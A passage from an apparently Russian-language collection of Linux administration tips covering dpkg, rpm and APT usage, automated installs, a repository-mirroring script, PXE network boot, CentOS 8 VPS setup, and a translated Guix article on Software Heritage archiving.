    com_opera_dists_stable_Release.gpg перешел из /var/lib/apt/lists/partial/ в /var/lib/apt/lists/  
    
    Ссылки по теме:  
       http://strugglers.net/wiki/The_following_signatures_couldn't_be_verified
       http://www.osp.ru/lan/1997/07/132968/ - Атака и защита DNS
    
     
    ----* Примеры управления пакетами через dpkg (доп. ссылка 1)   [комментарии]
     
    Установка одного пакета:
       dpkg -i <.deb file name>
       Пример: dpkg -i avg71flm_r28-1_i386.deb
    
    Рекурсивная установка группы пакетов помещенных в директорию:
       dpkg -R
       Пример: dpkg -R /usr/local/src
    
    Распаковать пакет, но не переходить на стадию конфигурации:
       dpkg --unpack package_file
       Пример: dpkg --unpack avg71flm_r28-1_i386.deb
    
    Выполнить стадию конфигурирования для ранее распакованного пакета:
       dpkg --configure package
       Пример: dpkg --configure avg71flm_r28-1_i386.deb
    
    Удаление ранее установленного пакета, с сохранением файлов конфигурации:
       dpkg -r
       Пример: dpkg -r avg71flm_r28-1_i386.deb
    
    Удаление ранее установленного пакета, с удалением файлов конфигурации:
       dpkg -P
       Пример: dpkg -P avg71flm
    
    Обновление информации о доступных для установки пакетах из файла "Packages.dpkg"
       dpkg --update-avail <Packages-file>
    
    Добавление (комбинирование) информации о дополнительных пакетах  из файла "Packages.dpkg"
       dpkg --merge-avail <Packages-file>
    
    Обновление информации о пакете непосредственно из пакета:
       dpkg -A package_file
    
    Удалить информацию о ранее установленных, но удаленных, и теперь недоступных, пакетах:
       dpkg --forget-old-unavail
    
    Удалить информацию о доступности пакетов:
       dpkg --clear-avail
    
    Найти частично установленные пакеты:
       dpkg -C
    
    Отобразить различия в двух наборах пакетов:
       dpkg --compare-versions ver1 op ver2
    
    Построить deb пакет:
       dpkg -b directory [filename]
    
    Показать содержимое пакета:
       dpkg -c filename
    
    Показать информацию о пакете:
       dpkg -I filename [control-file]
    
    Показать список пакетов удовлетворяющих маске:
       dpkg -l package-name-pattern
       Пример: dpkg -l vim
    
    Показать список всех установленных пакетов:
       dpkg -l
       dpkg --get-selections
    
    Установить пакеты, по списку сохраненному в файле:
       apt-get update
       cat файл_со_списком_пакетов| dpkg --set-selections
       apt-get dselect-upgrade
    
    Отобразить состояние пакета
       dpkg -s package-name
       Пример: dpkg -s ssh
    
    Показать список файлов в системе, добавленных из указанного пакета.
       dpkg -L package-Name
       Пример: dpkg -L apache2
    
    Поиск пакета по входящему в его состав файлу:
       dpkg -S filename-search-pattern
       Пример: dpkg -S /sbin/ifconfig
    
    Вывод детальной информации о пакете:
       dpkg -p package-name
       Пример: dpkg -p cacti
    
     
    ----* Установка CentOS и FC 6 на материнские платы Intel P965 (ICH8R) с IDE-CDROM   Автор: Державец Борис  [комментарии]
     
    Установка CentOS 4.4 (RHEL AS  4.4) и FC 6 на материнские платы с чипсетом
    Intel P965 & Intel ICH8R с IDE-CDROM'a.
    
    
    1.Установить в BIOS режим AHCI для  Intel ICH8R и Jmicron JMB363
    
    2.На подсказке 
         boot:linux all-generic-ide pci=nommconf
    
    3. Cпецифицировать во время графической установки
         Kernel boot options : 
         all-generic-ide pci=nommconf
    
    При установке GRUB в /boot partition выполнить:
         boot:linux all-generic-ide pci=nommconf rescue
          ...................
    
         # chroot /mnt/sysimage
         # df -h
         /dev/sdaX    .......       /boot
         .............................
    
         #  dd if=/dev/sdaX of=linux.bin bs=512 count=1
         # mcopy linux.bin a:
             
      Такой стиль установки позволяет системам   успешно определять 
    IDE-CDROM не только при установке , но и в рабочем режиме.
    
     
    ----* Как автоматизировать установку Debian и Fedora Linux (доп. ссылка 1)   [обсудить]
     
    Инсталлятор Debian можно заставить использовать файл ответов на вопросы установки (pre-seeding).
    
    Установите пакет debconf-utils
       apt-get install debconf-utils
    
    Создайте pre-seeding файл для повторения начальной установки:
       debconf-get-selections --installer > preseed.cfg
    
    Добавьте последующие изменения:
       debconf-get-selections >> preseed.cfg
    
    При необходимости отредактируйте preseed.cfg на свой вкус и скопируйте на дискету.
    
    В момент загрузки передайте в качестве параметра путь к preseed.cfg файлу (как
    опции загрузки ядра):
       preseed/file=/floppy/preseed.cfg debconf/priority=critical
    
    
    Что касается Fedora, то создать файл автоустановки можно использовав пакет system-config-kickstart:
       yum -y install system-config-kickstart
       /usr/sbin/system-config-kickstart
    
    После запуска в диалоговом режиме будет сформировано содержание файла ks.cfg,
    информацию о котором нужно передать как параметр при загрузке:
       linux ks=/floppy/ks.cfg
    
     
    ----* Локальный репозитарий CentOS через HTTP proxy   [комментарии]
     
    До появления прямого соединения с интернетом (провайдером был открыт только http), 
    было довольно проблематично поддерживать локальный репозитарий пакетов в актуальном состоянии.
    Для выхода из подобной ситуации был написан следующий скрипт,
     который в некотором приближении заменяет rsync.
    
    #!/bin/sh
    
    cd /opt/rpm-update
    #mirror_base_url=http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/
    #mirror_update_url=http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/
    
    mirror_base_url=$1
    local_rpm_directory=$2
    
    #local_rpm_directory=/var/ftp/pub/centos-4.3/
    
    file_html=./index.html
    file_rpms=./files.log
    
    rm -f $file_html
    rm -f $file_rpms
    
    echo "---------------------------------------------------------"
    echo "obtaining file list from $mirror_base_url ..."
    wget -q --no-cache $mirror_base_url
    echo "ok."
    
    cut -d"=" $file_html -f4 | cut -d"\"" -f2 | grep rpm | sort > $file_rpms
    
    a=`cat $file_rpms`
    for cur_rpm in $a
    do
        cur_rpm_file=$local_rpm_directory$cur_rpm
        if [ -e $cur_rpm_file ]
        then
            echo "$cur_rpm exist." > /dev/null
        else
            echo "downloading  $cur_rpm ..."
            wget -q --no-cache $mirror_base_url$cur_rpm
            echo "ok."
            mv ./$cur_rpm $local_rpm_directory
        fi
    done
    
    rm -f $file_html
    rm -f $file_rpms
    
    
    
    и вызов этого скрипта
    
    #!/bin/sh
    
    echo "***** run4 START ***** " >> /var/log/rpm_update4
    
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/extras/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    
    echo "generating headers..." >> /var/log/rpm_update4
    yum-arch -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "generating repo..." >> /var/log/rpm_update4
    createrepo -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "***** run4 STOP ***** " >> /var/log/rpm_update4
    
    
    вызывается по крону, если на сервере появились свежие пакеты, быстренько
    заливает их в локальный репозитарий.
    
     
    ----* Как обновить содержимое установочного DVD для Fedora Core 5 Linux (доп. ссылка 1)   Автор: Rob Garth  [комментарии]
     
    Копируем обновления на локальную машину
    http://download.fedora.redhat.com/pub/fedora/linux/core/updates/5/i386/
    
    Создаем директорию, в которой будем создавать новый образ диска.
       mkdir -p /opt/FC_2006.4/i386
       cd /opt/FC_2006.4
    
    Монтируем оригинальный установочный диск
       mount -o loop /full/path/FC-5-i386-DVD.iso /mnt
    
    и синхронизируем его содержимое, за исключением rpm пакетов, в созданную ранее директорию.
       rsync --archive --exclude 'Fedora/RPMS/*.rpm' /mnt/ i386
    
    Копируем только актуальные rpm пакеты для которых не было обновлений. 
    Наличие обновлений отслеживаем при помощи утилиры novi.
       for fn in `novi path/to/updates /mnt/Fedora/RPMS/ | awk '{print $2}'`; do
         cp $fn i386/Fedora/RPMS/
       done
    
    Обновляем индексные файлы
       cd i386
       createrepo -u "media://1142397575.182477#1" -g Fedora/base/comps.xml .
       cd ..
    
    Создаем ISO образ и md5 слепок.
       mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table \
         -V "Fedora Core 5 (Patched.0406)" -b isolinux/isolinux.bin \
         -c isolinux/boot.cat -x "lost+found" -o FC5-i386-dvd-patched.iso i386
    
       /usr/lib/anaconda-runtime/implantisomd5 FC5-i386-dvd-patched.iso
    
     
    ----* Пример настройки сервера удаленной загрузки под Linux (доп. ссылка 1)   [комментарии]
     
    DHCP.
    
    dhcpd.conf:
    
       # расскоментировать для DHCPD 3.0
       # ddns-update-style none;
    
       group {
         # IP address of TFTP/NFS server
         next-server 10.0.0.3;
         # The name of the file to be downloaded by the ROM
         filename "/tftpboot/pxelinux.0";
         # A default server directory to be used as / by the clients
         #option root-path "/clients/shared/root";
         # IP addresses of DNS servers
         #option domain-name-servers XX.XX.XX.XX, YY.YY.YY.YY;
         # IP addresses of routers
         #option routers AA.AA.AA.AA, BB.BB.BB.BB;
       
         # An entry for one specific client
         host sample-client {
           # Ethernet address of the client machine
           hardware ethernet EE:EE:EE:EE:EE:EE;
           # IP address to assign
           fixed-address 10.0.1.1;
           # Override root-path option for this machine
           # Our initial configuration will use separate
           # root directories for each client.
           option root-path "/clients/10.0.1.1/root";
          }
       }
    
    
    NFS. 
    
    /etc/exports на сервере:
    
       /clients/10.0.1.1/root 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/usr 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/var 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/tmp 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /home           10.0.0.0/255.0.0.0(rw)
    
    
    /etc/fstab для клиента:
    
       10.0.0.3:/clients/10.0.1.1/root /     nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/usr  /usr  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/var  /var  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/tmp  /tmp  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/home                  /home nfs rw,hard,intr,nolock 0 0
    
    Проверка NFS:
    
       mount 127.0.0.1:/clients/10.0.1.1/root /mnt
    
    /clients/shared/root/etc/init.d/netboot-dirs - скрпит монтирование разделов по
    NFS загрузке для клиента:
    
       #!/bin/sh
    
       IP=`ifconfig eth0 | grep inet | sed 's/.*inet //;s/ netmask.*//'`
       /bin/mount 10.0.0.3:/clients/$IP/var /var
       /bin/mount 10.0.0.3:/clients/$IP/tmp /tmp
    
    
    etc/init.d/netboot-dirs создание /var и /tmp разделов в ОЗУ для клиента:
    
       #!/bin/sh
       # File: etc/init.d/netboot-dirs
       # Initialize a 1MB /var
       /sbin/mke2fs -q /dev/ram12 1024
       /bin/mount /dev/ram12 /var
       /bin/chown 0:0 /var
       /bin/chmod 755 /var
    
       # Create some needed dirs
       cd /var
       /bin/mkdir -p --mode=755 run lib log/news spool/cron/crontabs
       /bin/mkdir -p --mode=1777 tmp lock
    
       # Initialize a 4MB /tmp
       # -N option tunes this for small files
       /sbin/mke2fs -q -N 2048 /dev/ram11 4096
       /bin/mount /dev/ram11 /tmp
       /bin/chown 0:0 /tmp
       /bin/chmod 1777 /tmp
    
     
    ----* Формирование списка имен RPM пакетов и зависимостей в Linux (доп. ссылка 1)   Автор: uldus  [комментарии]
     
    Формирование списка названий пакетов (не полных имен):
    
       rpm -q -a --queryformat '%{NAME}\n'
    
    
    Как после установки группы пакетов через "rpm -i --nodeps", проверить каких
    зависимостей не хватает:
    
       rpm -q -a --queryformat '%{NAME}\n'|sort|uniq > list_inst.txt
       cat list_inst.txt| xargs -l1 rpm -q -R |grep -E "[<=>]"| cut -d ' ' -f1| cut -d '(' -f1| sort| uniq > list_req.txt
       diff list_inst.txt list_req.txt| grep '>' > missing.txt 
    
     
    ----* Установка Domino R 6.5 на Linux   Автор: Gennadi Kalaschnikow  [комментарии]
     
    Для инсталляци Domino R6.5 необходимо в файле .bashrc, который находиться в
    директории юзера "notes" сделать такую запись:
       export LD_ASSUME_KERNEL = 2.2.5
    
     
    ----* Подсказка по использованию APT   [комментарии]
     
    apt-get update - обновление локального кэша пакетов;
    apt-cache search маска - поиск нужного пакета;
    apt-cache show пакет -  просмотр информации о пакете;
    apt-get install пакет - установка пакета;
    apt-get remove пакет - удаление пакета;
    apt-get update; apt-get upgrade - полное обновление системы.
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как в RedHat управлять из командной строки runlevel (init.d) скриптами   [комментарии]
     
    Перезапуск сервисов:
       service имя start
       service имя stop
       service имя restart
    
    Добавление или удаление сервисов (удобнее использовать утилиту ntsysv, sysvconfig или rcconf):
       chkconfig --list
       chkconfig --add имя
       chkconfig --del имя
       chkconfig [--level уровень] имя <on|off|reset>
    
     
    ----* Подсказка по опциям RPM.   [обсудить]
     
    Установка пакетов: rpm -i <пакеты>
    Деинсталляция пакета: rpm -e <пакеты>
    Обновление или установка пакетов: rpm -U <пакеты>
    Только обновление пакетов если они ранее установлены: rpm -F <пакеты>
    Полезно: --force -установить несмотря ни на что,  --nodeps - без проверки
    зависимости, -vh - приятный вывод, --test - проверка.
    Информация о пакете: rpm -q <пакет>
    Список всех пакетов в системе: rpm -q -a
    Узнать какому пакету принадлежит файл: rpm -q -f <файл>
    Полезно: -i - более полное описание пакета, -R - список зависимостей пакета, -l
    - список файлов в пакете,
    -c - список конфигов в пакете, -d - список документации.
    Установка из исходников: rpm --recompile <srpm> , собрать бинарный пакет: rpm --rebuild <srpm>.
    Перестроить базу:  rpm --rebuilddb
    
     
    ----* Как вручную распаковать rpm файл   [комментарии]
     
    rpm2cpio file.rpm | cpio -idmuv --no-absolute-filenames 
    
     
    ----* Как узнать к какому пакету принадлежит файл   [комментарии]
     
    rpm -qf file
    
     
    ----* Первоначальная настройка VPS сервера на базе CentOS 8   Автор: KoD  [комментарии]
     
    В наши дни многие информационные сервисы работают на 
    виртуальных машинах. На рынке появляется огромное количество поставщиков услуг
    виртуализации, у которых можно получить VPS по вполне вменяемым ценам.
    
    В этой статье я хотел бы поделиться своим вариантом первоначальной настройки
    виртуалки на базе CentOS 8 и принять рекомендации по её улучшению.
    
    Предполагается, что VPS предназначена для разработки/тестирования/презентации
    WEB-приложения в общем случае, т.е. не ориентируясь на какие-либо специфические
    особенности и среды программирования.
    
    Первые шаги
    
    Во-первых, после установки необходимо создать непривилегированного пользователя:
    
       # groupadd user
       # useradd -m -d /home/user -s /bin/bash -g user -G wheel user
       # passwd user
    
    Сгенерировать пару криптографических ключей (на клиентской машине) следующей командой:
    
      client$ ssh-keygen -t ed25519
    
    И перенести открытый ключ на сервер:
    
      client$ ssh-copy-id user@example.ru
    
    
    Затем задать более безопасные настройки для демона sshd (на сервере).
    Под X.X.X.X понимается IP-адрес клиента, с которого будет происходить соединение на VPS.
    
       # sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
       # sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
       # echo "AllowUsers user@X.X.X.X user@X.X.X.*" >> /etc/ssh/sshd_config
       # systemctl restart sshd.service
     
    После выхода из под учётной записи администратора, можно соединиться с сервером
    по SSH и продолжить дальнейшую настройку.
    Далее следует файрволл. Его настраиваем так, чтобы на 22 порт SSH могли
    подключаться пользователи из авторизованной подсети, а остальные соединения отбрасывались:
    
       $ sudo firewall-cmd --zone=internal --add-source=X.X.X.X/32 --add-source=X.X.X.0/24
       $ sudo firewall-cmd --zone=internal --add-service=ssh
       $ sudo firewall-cmd --zone=public --remove-service=ssh
       $ sudo firewall-cmd --zone=public --add-service=http --add-service=https
       $ sudo firewall-cmd --get-active-zones
    
       internal
         sources: X.X.X.X/32 X.X.X.0/24
       public
         interfaces: ens3
    
       $ sudo firewall-cmd --runtime-to-permanent
       $ sudo firewall-cmd --reload
    
    Опять же, под X.X.X.X понимается IP-адрес клиента, с которого будет происходить соединение на VPS.
    
    Установка программного обеспечения
    
    Прежде всего следует обновить систему до актуального состояния и перезагрузиться:
    
       $ sudo dnf upgrade --refresh
       $ sudo reboot
    
    Затем установим необходимое для разработки программы:
    
       $ sudo dnf groupinstall "Development tools"
       $ sudo dnf install clang
    
    Clang устанавливаю, как дополнение к GCC для кроссплатформенной компиляции разработок.
    
    Установка и настройка СУБД
    
    Из основного репозитория качаем клиент, сервер и заголовки MariaDB.
    Запускаем, проверяем, и настраиваем СУБД
    
       $ sudo dnf install mariadb mariadb-server mariadb-devel
       $ sudo systemctl start mariadb
       $ sudo systemctl status mariadb
    
       Active: active (running)
    
       $ sudo systemctl enable mariadb
    
       Created symlink /etc/systemd/system/mysql.service > /usr/lib/systemd/system/mariadb.service.
       Created symlink /etc/systemd/system/mysqld.service > /usr/lib/systemd/system/mariadb.service.
       Created symlink /etc/systemd/system/multi-user.target.wants/mariadb.service > /usr/lib/systemd/system/mariadb.service.
    
    Скрипт mysql_secure_installation устанавливает пароль для root MariaDB 
    и выключает небезопасные настройки. Далее можно создать БД и пользователей.
    
       $ sudo mysql_secure_installation
       $ mysql -u root -p
       mysql> CREATE DATABASE `mydb`;
       mysql> GRANT USAGE ON *.* TO 'user'@localhost IDENTIFIED BY 'mypassword';
       mysql> GRANT ALL privileges ON `mydb`.* TO 'user'@localhost;
       mysql> FLUSH PRIVILEGES;
       mysql> SHOW GRANTS FOR 'user'@localhost;
    
    Первоначальная настройка MariaDB завершена.
    
    Установка и настройка HTTPD apache2
    
    Ниже следует установка сервера httpd.
    В качестве менеджера SSL-сертификатов будем использовать certbot из репозитория EPEL:
    
       $ sudo dnf install httpd
       $ sudo dnf install epel-release
       $ sudo dnf install certbot python3-certbot-apache mod_ssl
    
    Добавляем виртуальный хост в конфиг сервера. Предполагается, что DNS имя сервера уже
    зарегистрировано и делегировано, создана A-запись на IP VPS.
    
       $ vi /etc/httpd/conf.d/vhosts.conf
    
       <VirtualHost *:80>
         ServerAdmin webmaster@example.ru
         ServerName example.ru
         ServerAlias www.example.ru
         DocumentRoot /var/www/html/example.ru/
         <Directory "/var/www/cgi-bin">
           AllowOverride None
           Options +ExecCGI
           AddHandler cgi-script .cgi .sh
           Require all granted
         </Directory>
       </VirtualHost>
    
    Эта конфигурация так же включает выполнение CGI-скриптов на стороне сервера, так что
    можно приступать к разработке WEB-приложений после перезагрузки сервиса:
    
       $ sudo systemctl enable httpd
       $ sudo systemctl start httpd
    
    Не забываем получить сертификаты в центре сертификации Let`s Encrypt:
    
       $ sudo certbot -d example.ru -d www.example.ru
    
    Вышеизложенный порядок действий не обязательно каждый раз делать вручную.
    Можно написать и отладить простой shell-скрипт, который проделает все 
    операции в автоматическом режиме и первоначальная настройка VPS сервера займёт
    незначительное время.
    
     
    ----* Связывание повторяемых сборок GNU Guix с архивом исходных текстов Software Heritage (доп. ссылка 1)   Автор: znavko  [комментарии]
     
    Перевод статьи Людвика Курте от 29.03.2019, опубликованной в блоге Guix.
    
    В статье рассказано как в дистрибутиве GNU Guix связать повторяемые сборки,
    позволяющие убедиться в тождественности бинарных файлов эталонным исходным
    текстам, с загрузкой исходных текстов из архива кода Software Heritage.
    Software Heritage ставит перед собой задачу создания полного архива всех
    доступных в Сети исходных текстов. Код загружается из разных источников
    (GitHub, репозитории Debian, коллекции GNU и т.п.) с автоматическим переносом
    информации об изменениях, формируя таким образом историю развития кода разных
    проектов (можно посмотреть каким код был в разное время). В Guix  можно
    использовать Software Heritage для получения кода, если репозиторий из которого
    собран пакет перестал существовать. В контексте повторяемых сборок пользователь
    может загрузить из Software Heritage состояние кода проекта, соответствующее
    имеющемуся бинарному пакету, и проверить, что бинарные файлы собраны именно из
    этого кода без добавления скрытых изменений.
    
    
    
    
    
    
    
    
    
    GNU Guix может использоваться как пакетный менеджер, чтобы устанавливать и
    обновлять пакеты ПО. Также Guix может выступать менеджером окружения, создавать
    контейнеры или виртуальные машины, управлять операционной системой на компьютере.
    
    Ключевым отличием GNU Guix, выделяющим его среди других подобных инструментов,
    является воспроизводимость. Для пользователя это означает следующее.
    Пользователь задаёт в конфигурационном файле программное окружение и запускает
    его установку. Пользователи могут делиться конфигурацией окружения с другими,
    чтобы воспроизвести или адаптировать его для своих нужд. Эта особенность играет
    ключевую роль для разработки программного обеспечения, так как чтобы получить
    результат внедрения программы в программное окружение, вначале нужно
    воспроизвести программное окружение. Этой темой мы занимаемся в рамках проекта
    Guix-HPC. На программном уровне это означает, что Guix, как и другие проекты сообщества
    Reproducible Builds, производит сверку результатов
    воспроизводимой сборки,
    бит за битом.
    
    В вопросе воспроизводимости Guix ушёл вперёд. Пользователю Guix, можно сказать,
    доступна машина времени, позволяющая запустить окружение с предыдущими версиями
    пакетов. Но оставался один нюанс, который не позволял использовать эту
    технологию на практике - стабильный архив исходного кода. Тогда и появился
    Software Heritage (SWH).
    
    
    Когда исходный код исчезает
    
    Guix содержит тысячи описаний пакетов. Каждое описание пакета задаёт URL
    исходного кода пакета и хеш, зависимости и процедуру сборки. В большинстве
    случаев исходный код пакета - это архив, извлекаемый с сайта, но всё чаще
    исходный код ссылается на конкретную ревизию, размещённую в системе управления версиями.
    
    Что происходит, если ссылка на исходный код становится нерабочей? Все усилия,
    обеспечивающие воспроизводимость, не работают, когда исчезает исходный код.
    Исходный код, действительно, исчезает, более того, он может быть изменён в
    источнике. В GNU мы предоставляем стабильный хостинг, где размещаются релизы
    почти навсегда, без изменений (с незначительными редкими изменениями). Но
    большое количество свободного программного обеспечения в Интернете размещается
    на личных сайтах, которые имеют непродолжительное время жизни, или на
    коммерческих хостингах, которые работают и закрываются.
    
    По умолчанию Guix ищет исходный код по хешу в кэше наших серверов сборки. Бесплатно 
    механизм подстановок расширяет функционал сборки, включая скачивание. Однако
    ограничения не позволяют нашим серверам сборки хранить весь исходный код всех
    пакетов долгое время. Так что вполне вероятно, что пользователь не сможет
    пересобрать пакет через месяцы или годы, просто потому что исходный код
    переместился или исчез.
    
    Работа с архивом
    
    Совершенно ясно, что для обеспечения воспроизводимых сборок должен быть
    постоянный доступ к исходному коду. Архив Software Heritage позволит нам
    воспроизводить программное окружение через годы вопреки непостоянству
    хостингов. Миссия Software Heritage - сохранить весь когда либо опубликованный
    исходный код, включая историю версий. Этот архив уже периодически поглощает
    релизы ПО с серверов GNU, репозитории с GitHub, пакеты PyPI и многое другое.
    
    Мы предусмотрели политику, по которой Guix будет обращаться к архиву Software
    Heritage при невозможности скачать исходный код из источника. Описания пакетов
    при этом не нуждаются в изменениях: они всё ещё указывают на первоначальный
    URL, но механизм скачки прозрачно работает с Software Heritage, когда необходимо.
    
    В Guix есть два типа скачивания исходных кодов: скачивание архива и
    осуществление контроля изменений версий. В первом случае взаимодействие с
    Software Heritage очень простое: Guix выполняет поиск по хешу SHA256, который
    ему известен, используя интерфейс архива.
    
    Выборка истории изменения версий более сложная. В этом случае вначале
    необходимо определить идентификатор коммита, чтобы обратиться к нужной
    ревизии на Software Heritage. Код ревизии затем будет доступен через API хранилища.
    
    Хранилище (Vault API) позволяет получить архив, соответствующий определённой
    ревизии пакета. Однако ясно, что не все ревизии доступны в качестве архивов,
    так что хранилище имеет интерфейс, через который можно запросить подготовку
    нужной ревизии. Подготовка асинхронная и может занимать некоторое время. В
    настоящее время, если ревизия недоступна, механизм скачивания Guix запрашивает
    и ждёт его готовности. Процесс может занять некоторое время, но в итоге
    завершается успешно.
    
    Вот так! С этого момента мы собрали цепочку. Благодаря Software Heritage,
    который предоставляет стабильный архив, воспроизводимая сборка Guix работает.
    Этот код был внедрён в ноябре 2018, создав первый свободный дистрибутив,
    основанный на стабильном архиве.
    
    Новые вызовы
    
    Мы достигли цели и сделали её осязаемой, но нам известно о недостатках.
    Во-первых, даже если программное обеспечение, которое описано в наших пакетах,
    доступно в виде архивов, Software Heritage содержит относительно немногие из
    них. Software Heritage поглощает архивы, особенно те, которые найдены на
    серверах GNU, но он нацелен в первую очередь на сохранение репозиториев систем
    управления версиями, а не архивов релизов.
    
    Нам всё ещё неясно, что делать с обычными старыми архивами. С одной стороны,
    они есть и не могут быть проигнорированы. Более того, многие содержат
    артефакты, которых нет в системе управления версими, например, скрипты
    configure, и довольно часто они сопровождаются криптографическими подписями
    разработчиков, которые позволяют получателям подтвердить код - важная
    информация, которая часто отсутствует в системе управления версиями. С другой
    стороны, теги систем управления версиями всё чаще становятся механизмом
    распространения релизов программ. Вполне вероятно, что теги станут главным
    механизмом распространения ПО в ближайшем будущем.
    
    Теги систем управления версиями тоже не идеальны, так как они изменчивы и
    привязаны к репозиторию. С другой стороны, идентификаторы коммита Git
    совершенно точно указывают на нужную версию пакета, так как они относятся к
    пакету и не зависят от репозитория. Но наши описания пакетов часто ссылаются на
    теги, а не коммиты, так как это даёт понять, что пакет ссылается на актуальный
    релиз, а не обычную ревизию (такой вот треугольник Zooko).
    
    Есть и другая проблема, которая происходит из того, что Guix вычисляет хеш
    версии пакета иначе, чем Software Heritage. Оба вычисляют хеш по файлам
    директории, но они упорядочивают файлы в разных последовательностях (SWH
    сериализует директории как дерево Git, а Guix использует "нормализованный
    архив", или Nars, формат, который использует демон сборки, наследованный от
    Nix). Это не позволяет Guix искать ревизии по хешу содержимого. Решением
    вероятно будет добавление в Guix поддержки такого метода, как в Software
    Heritage, ну, или Software Heritage добавит метод Guix.
    
    Ожидание завершения подготовки архива также может вызывать проблемы. Команда
    Software Heritage внедряет возможность
    автоматического добавления тегов в систему управления версиями. Таким
    образом, нужные ревизии почти всегда будут доступны в хранилище.
    
    Также мы не гарантируем, что программы, поставляемые Guix, доступны в качестве
    архива. Мы запросили Software Heritage периодически скачивать исходный код
    программного обеспечения, поставляемого Guix.
    
    Движемся далее
    
    Работая над поддержкой Software Heritage, мы включили в Guix модуль Guile,
    реализующий HTTP-интерфейс Software Heritage. Вот некоторые вещи, которые он умеет:
    
       (use-modules (guix swh))
    
       ;; Check whether SWH has ever crawled our repository.
       (define o (lookup-origin "https://git.savannah.gnu.org/git/guix.git"))
       => #{{origin> id: 86312956 ...>
    
       ;; It did! When was its last visit?
       (define last-visit
         (first (origin-visits o)))
    
       (date->string (visit-date last-visit))
       => "Fri Mar 29 10:07:45Z 2019"
    
       ;; Does it have our "v0.15.0" Git tag?
       (lookup-origin-revision "https://git.savannah.gnu.org/git/guix.git" "v0.15.0")
       => #{{revision> id: "359fdda40f754bbf1b5dc261e7427b75463b59be" ...>
    
    Guix также является библиотекой Guile, так что используя guix и swh, мы получаем интересные вещи:
    
       (use-modules (guix) (guix swh)
                 (gnu packages base)
                 (gnu packages golang))
    
       ;; This is our GNU Coreutils package.
       coreutils
       => #{package coreutils@8.30 gnu/packages/base.scm:342 1c67b40>
    
       ;; Does SWH have its tarball?
       (lookup-content (origin-sha256 (package-source coreutils))
                    "sha256")
       => #{{content> checksums: (("sha1" ...)) data-url: ...>
    
       ;; Our package for HashiCorp's Configuration Language (HCL) is
       ;; built from a Git commit.
       (define commit
         (git-reference-commit
           (origin-uri (package-source go-github-com-hashicorp-hcl))))
    
       ;; Is this particular commit available in the archive?
       (lookup-revision commit)
       => #{{revision> id: "23c074d0eceb2b8a5bfdbb271ab780cde70f05a8" ...>
    
    В настоящее время мы используем этот инструментарий, но конечно, это не всё,
    что мы можем. Например, можно выяснить, какие пакеты Guix добавлены. Также
    можно запросить архив исходного кода каждого пакета с помощью интерфейса
    'save code', но однако есть ограничения по скорости.
    
    Подведём итоги
    
    Поддержка Software Heritage в Guix даёт для воспроизводимого развёртывания
    стабильный архив исходного кода и полное резервирование ранних версий. Впервые
    мы получили пакетный менеджер, который может пересобирать предыдущие версии
    программ. Это имеет практическую выгоду в области воспроизводимости: мы можем
    создавать воспроизводимое программное окружение - основу воспроизводимых
    экспериментов в области разработки ПО.
    
    Собственно, мы можем предоставить инструменты загрузки программного обеспечения
    с доступом к ранним версиям. Да и сам Guix резервируется, так что мы выходим на
    метауровень, когда мы можем ссылаться на ревизии Guix, ссылаясь на ревизии
    пакетов, предоставляемые им. Есть барьеры, которые необходимо преодолеть, но
    результат уже обозрим.
    
     
    ----* Использование slackpkg для chroot   Автор: АнкхС  [комментарии]
     
    Можно назначить переменную окружения
    
       export ROOT=/mychroot
    
    После этого slackpkg начинает обработку корня относительно каталога /mychroot и выполнив, например
    
       slackpkg update
       slackpkg install a
    
    Все пакеты и пакетная база попадут в иерархию, относительно каталога,
    определённого в переменной окружения ROOT.
    
     
    ----* Пересборка пакетов для Ubuntu (Debian) (доп. ссылка 1)   Автор: Davidov  [комментарии]
     
    Думаю, практически все понимают преимущества пакетных менеджеров над установкой при помощи 
       ./configure && make && make install.
    
    На примере недавно появившегося патча для Pidgin я хочу показать, 
    как легко пересобирать пакеты в deb-based дистрибутивах.
    
    Подготовка. 
    Нам понадобятся следующие пакты: devscripts build-essential fakeroot
    
       sudo apt-get install devscripts build-essential fakeroot
    
    Скачиваем исходники. 
    Для этого должны быть подключены соответствующие репозитории. 
    Нам нужен libpurple0, т.к. патч относится к этой библиотеке. 
    На самом же деле libpurple, pidgin и pidgin-data имеют общий исходник, там что
    мы можем написать как
    
       apt-get source libpurple0
    
    так и
    
       apt-get source pidgin
    
    Обратите внимание, что apt-get source надо делать не из под sudo.
